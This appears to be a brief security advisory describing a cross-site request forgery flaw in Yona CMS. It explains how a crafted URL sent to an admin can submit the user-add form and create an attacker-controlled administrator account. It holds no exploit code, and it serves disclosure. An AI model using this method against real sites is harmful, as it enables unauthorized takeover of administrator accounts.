Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.
